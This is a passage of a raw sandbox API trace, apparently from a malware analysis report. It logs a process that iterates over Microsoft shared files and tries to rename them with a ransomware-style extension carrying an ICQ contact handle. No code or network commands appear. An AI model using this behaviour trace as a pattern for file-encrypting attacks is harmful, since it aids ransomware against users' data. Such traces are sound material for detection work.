shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.275] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10240) returned 1 [0232.275] CloseHandle (hObject=0x358) returned 1 [0232.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0232.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui")) returned 0x20 [0232.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.276] SetEvent (hEvent=0x2b8) returned 1 [0232.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.277] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10240) returned 1 [0232.277] CloseHandle (hObject=0x358) returned 1 [0232.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0232.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0232.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.284] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=733696) returned 1 [0232.284] CloseHandle (hObject=0x358) returned 1 [0232.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0232.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0232.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.285] SetEvent (hEvent=0x2b8) returned 1 [0232.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.293] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=10752) returned 1 [0232.293] CloseHandle (hObject=0x358) returned 1 [0232.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0232.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0232.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.294] SetEvent (hEvent=0x2b8) returned 1 [0232.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.296] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4101632) returned 1 [0232.296] CloseHandle (hObject=0x358) returned 1 [0232.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0232.297] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0232.298] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0 [0232.299] SetEvent (hEvent=0x2b8) returned 1 [0232.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.304] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1086464) returned 1 [0232.304] CloseHandle (hObject=0x358) returned 1 [0232.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0232.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0232.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.305] SetEvent (hEvent=0x2b8) returned 1 [0232.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.306] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=647584) returned 1 [0232.306] CloseHandle (hObject=0x358) returned 1 [0232.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0232.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0232.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.306] SetEvent (hEvent=0x2b8) returned 1 [0232.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.309] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=96768) returned 1 [0232.309] CloseHandle (hObject=0x358) returned 1 [0232.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0232.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0232.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.314] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7168) returned 1 [0232.314] CloseHandle (hObject=0x358) returned 1 [0232.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0232.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0232.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.315] SetEvent (hEvent=0x2b8) returned 1 [0232.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.318] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7168) returned 1 [0232.318] CloseHandle (hObject=0x358) returned 1 [0232.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0232.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0232.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.319] SetEvent (hEvent=0x2b8) returned 1 [0232.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.322] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=370176) returned 1 [0232.323] CloseHandle (hObject=0x358) returned 1 [0232.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0232.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0232.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.329] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1475160) returned 1 [0232.329] CloseHandle (hObject=0x358) returned 1 [0232.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0232.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0232.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.351] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=255) returned 1 [0232.351] CloseHandle (hObject=0x358) returned 1 [0232.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0232.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0232.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.356] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=231) returned 1 [0232.356] CloseHandle (hObject=0x358) returned 1 [0232.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0232.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0232.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.357] SetEvent (hEvent=0x2b8) returned 1 [0232.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.430] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=23871) returned 1 [0232.430] CloseHandle (hObject=0x364) returned 1 [0232.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0232.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0232.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.431] SetEvent (hEvent=0x2b8) returned 1 [0232.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0232.449] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=6406) returned 1 [0232.449] CloseHandle (hObject=0x348) returned 1 [0232.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0232.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0232.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.450] SetEvent 